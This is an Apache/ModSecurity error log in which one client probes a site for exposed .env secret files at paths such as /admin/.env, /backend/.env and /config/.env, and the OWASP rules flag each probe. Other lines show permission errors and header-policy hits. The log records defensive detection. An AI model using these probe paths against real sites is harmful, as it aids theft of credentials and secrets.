[Fri Jul 17 09:25:56.974637 2026] [security2:error] [pid 2031172:tid 2031172] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/admin/.env"] [unique_id "almnzOjME1mgqYZ5O94rnQAAAAE"]
[Fri Jul 17 09:25:56.975011 2026] [security2:error] [pid 2031172:tid 2031172] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/admin/.env"] [unique_id "almnzOjME1mgqYZ5O94rnQAAAAE"]
[Fri Jul 17 09:25:56.975549 2026] [security2:error] [pid 2031172:tid 2031172] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/admin/.env"] [unique_id "almnzOjME1mgqYZ5O94rnQAAAAE"]
[Fri Jul 17 09:25:57.045884 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:57.162376 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/backend/.env"] [unique_id "almnza14q1EBnanVMYGpZQAAAAk"]
[Fri Jul 17 09:25:57.162766 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/backend/.env"] [unique_id "almnza14q1EBnanVMYGpZQAAAAk"]
[Fri Jul 17 09:25:57.163299 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/backend/.env"] [unique_id "almnza14q1EBnanVMYGpZQAAAAk"]
[Fri Jul 17 09:25:57.259117 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:57.340351 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/server/.env"] [unique_id "almnzfwooI4qY7Jg93paxwAAABM"]
[Fri Jul 17 09:25:57.340727 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/server/.env"] [unique_id "almnzfwooI4qY7Jg93paxwAAABM"]
[Fri Jul 17 09:25:57.341208 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/server/.env"] [unique_id "almnzfwooI4qY7Jg93paxwAAABM"]
[Fri Jul 17 09:25:57.519514 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/frontend/.env"] [unique_id "almnzbEWOaI5pmYo9fnUNQAAAAA"]
[Fri Jul 17 09:25:57.519867 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/frontend/.env"] [unique_id "almnzbEWOaI5pmYo9fnUNQAAAAA"]
[Fri Jul 17 09:25:57.520403 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/frontend/.env"] [unique_id "almnzbEWOaI5pmYo9fnUNQAAAAA"]
[Fri Jul 17 09:25:57.660988 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:57.684704 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/src/.env"] [unique_id "almnzY1dLClkUfK_dfHqTQAAAAI"]
[Fri Jul 17 09:25:57.685158 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/src/.env"] [unique_id "almnzY1dLClkUfK_dfHqTQAAAAI"]
[Fri Jul 17 09:25:57.685554 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/src/.env"] [unique_id "almnzY1dLClkUfK_dfHqTQAAAAI"]
[Fri Jul 17 09:25:57.756168 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty52/subsystem/ttyS1/uartclk
[Fri Jul 17 09:25:57.857069 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:57.869209 2026] [security2:error] [pid 2031172:tid 2031172] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/core/.env"] [unique_id "almnzejME1mgqYZ5O94rnwAAAAE"]
[Fri Jul 17 09:25:57.869648 2026] [security2:error] [pid 2031172:tid 2031172] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/core/.env"] [unique_id "almnzejME1mgqYZ5O94rnwAAAAE"]
[Fri Jul 17 09:25:57.870416 2026] [security2:error] [pid 2031172:tid 2031172] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/core/.env"] [unique_id "almnzejME1mgqYZ5O94rnwAAAAE"]
[Fri Jul 17 09:25:58.055342 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/core/app/.env"] [unique_id "almnzhHlOGcokz2QIwTYqgAAAAM"]
[Fri Jul 17 09:25:58.055763 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/core/app/.env"] [unique_id "almnzhHlOGcokz2QIwTYqgAAAAM"]
[Fri Jul 17 09:25:58.056313 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/core/app/.env"] [unique_id "almnzhHlOGcokz2QIwTYqgAAAAM"]
[Fri Jul 17 09:25:58.059535 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:58.245489 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/config/.env"] [unique_id "almnzq14q1EBnanVMYGpZwAAAAk"]
[Fri Jul 17 09:25:58.245934 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/config/.env"] [unique_id "almnzq14q1EBnanVMYGpZwAAAAk"]
[Fri Jul 17 09:25:58.246296 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/config/.env"] [unique_id "almnzq14q1EBnanVMYGpZwAAAAk"]
[Fri Jul 17 09:25:58.265415 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup9/subsystem/wakeup11/device/device:22/eject
[Fri Jul 17 09:25:58.434726 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/private/.env"] [unique_id "almnzlh1WDijTxd1xw5RwAAAAAc"]
[Fri Jul 17 09:25:58.435080 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/private/.env"] [unique_id "almnzlh1WDijTxd1xw5RwAAAAAc"]
[Fri Jul 17 09:25:58.435477 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/private/.env"] [unique_id "almnzlh1WDijTxd1xw5RwAAAAAc"]
[Fri Jul 17 09:25:58.596121 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:58.629630 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/application/.env"] [unique_id "almnzo1dLClkUfK_dfHqTwAAAAI"]
[Fri Jul 17 09:25:58.630098 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/application/.env"] [unique_id "almnzo1dLClkUfK_dfHqTwAAAAI"]
[Fri Jul 17 09:25:58.630617 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/application/.env"] [unique_id "almnzo1dLClkUfK_dfHqTwAAAAI"]
[Fri Jul 17 09:25:58.697039 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty6/subsystem/ttyS2/line
[Fri Jul 17 09:25:58.734326 2026] [security2:error] [pid 2030955:tid 2030955] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/printers-scanners"] [unique_id "almnzvwooI4qY7Jg93paygAAABM"]
[Fri Jul 17 09:25:58.734421 2026] [security2:error] [pid 2030955:tid 2030955] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/printers-scanners"] [unique_id "almnzvwooI4qY7Jg93paygAAABM"]
[Fri Jul 17 09:25:58.734732 2026] [security2:error] [pid 2030955:tid 2030955] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/printers-scanners"] [unique_id "almnzvwooI4qY7Jg93paygAAABM"]
[Fri Jul 17 09:25:58.798229 2026] [core:error] [pid 2013829:tid 2013829] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup1/subsystem/wakeup11/device/device:22/eject
[Fri Jul 17 09:25:58.827561 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bootstrap/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/bootstrap/.env"] [unique_id "almnzlCBpfuYyhJ140vYEgAAAB4"]
[Fri Jul 17 09:25:58.827862 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/bootstrap/.env"] [unique_id "almnzlCBpfuYyhJ140vYEgAAAB4"]
[Fri Jul 17 09:25:58.828244 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/bootstrap/.env"] [unique_id "almnzlCBpfuYyhJ140vYEgAAAB4"]
[Fri Jul 17 09:25:58.897319 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:56258] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:25:58.899785 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:58.980549 2026] [security2:error] [pid 2030955:tid 2030955] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almnzvwooI4qY7Jg93paygAAABM"]
